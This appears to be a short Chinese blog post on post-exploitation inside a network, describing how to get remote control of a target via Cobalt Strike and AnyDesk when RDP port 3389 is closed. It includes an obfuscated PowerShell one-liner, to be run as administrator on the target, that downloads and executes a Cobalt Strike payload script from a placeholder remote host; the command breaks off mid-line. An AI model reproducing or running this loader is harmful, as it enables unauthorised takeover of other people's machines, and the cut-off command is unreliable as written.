赞
踩
在进行内网渗透的时候,如果目标机器出网,但是有时候目标3389端口未开放也就表示我们无法使用远程桌面进行连接。但是依然有很多第三方远程控制软件可以帮助我们,例如Teamviewer或者AnyDesk。
本片文章我们将使用Cobalt Strike配合AnyDesk进行演示。
这里我们使用powershell上线,首先我们使用Payload Generator生成一个ps1脚本
然后在目标机器上执行:(使用管理员权限执行)
powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='11(''https://www.xxxx.tk:8443/payload.ps1'')'.Replace('11&
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。